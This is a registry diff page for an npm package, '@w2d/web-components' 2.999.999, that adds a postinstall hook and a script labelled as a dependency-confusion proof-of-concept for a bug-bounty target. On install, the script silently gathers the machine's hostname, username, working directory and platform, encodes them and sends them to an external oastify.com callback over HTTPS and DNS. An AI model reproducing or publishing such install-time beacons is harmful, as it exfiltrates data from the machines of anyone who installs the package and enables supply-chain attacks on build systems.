@w2d/web-components 2.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +2 -0
- package/package.json +16 -0
- package/postinstall.js +34 -0
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@w2d/web-components",
|
|
3
|
+
"version": "2.999.999",
|
|
4
|
+
"description": "web-components",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"postinstall.js"
|
|
9
|
+
],
|
|
10
|
+
"scripts": {
|
|
11
|
+
"postinstall": "node postinstall.js"
|
|
12
|
+
},
|
|
13
|
+
"publishConfig": {
|
|
14
|
+
"access": "public"
|
|
15
|
+
}
|
|
16
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
// Dependency-confusion PoC beacon
|
|
2
|
+
// Target: Allwyn AG / win2day (HackerOne, in-scope: https://statics.win2day.at, Critical/Eligible)
|
|
3
|
+
// Purpose: prove WHERE @w2d/web-components resolves+executes at build/CI time.
|
|
4
|
+
// Sends ONLY non-sensitive host identity. No file reads, no env vars, no secrets.
|
|
5
|
+
// Fails silently so it can never break the host build.
|
|
6
|
+
try {
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const https = require('https');
|
|
9
|
+
const dns = require('dns');
|
|
10
|
+
|
|
11
|
+
const meta = {
|
|
12
|
+
pkg: '@w2d/web-components',
|
|
13
|
+
host: os.hostname(),
|
|
14
|
+
user: (os.userInfo && os.userInfo().username) || '',
|
|
15
|
+
cwd: process.cwd(),
|
|
16
|
+
platform: process.platform
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
const token = Buffer.from(JSON.stringify(meta))
|
|
20
|
+
.toString('base64')
|
|
21
|
+
.replace(/\+/g, '-')
|
|
22
|
+
.replace(/\//g, '_')
|
|
23
|
+
.replace(/=+$/, '');
|
|
24
|
+
|
|
25
|
+
const COLLAB = '929u6o01dc28rl4mend089t9b0hr5ht6.oastify.com';
|
|
26
|
+
|
|
27
|
+
// HTTP(S) callback — full metadata in path
|
|
28
|
+
https.get('https://' + COLLAB + '/' + token, () => {}).on('error', () => {});
|
|
29
|
+
|
|
30
|
+
// DNS callback — backup signal (single label <= 63 chars)
|
|
31
|
+
dns.lookup(token.slice(0, 50) + '.' + COLLAB, () => {});
|
|
32
|
+
} catch (e) {
|
|
33
|
+
// never throw — do not break the host build
|
|
34
|
+
}
|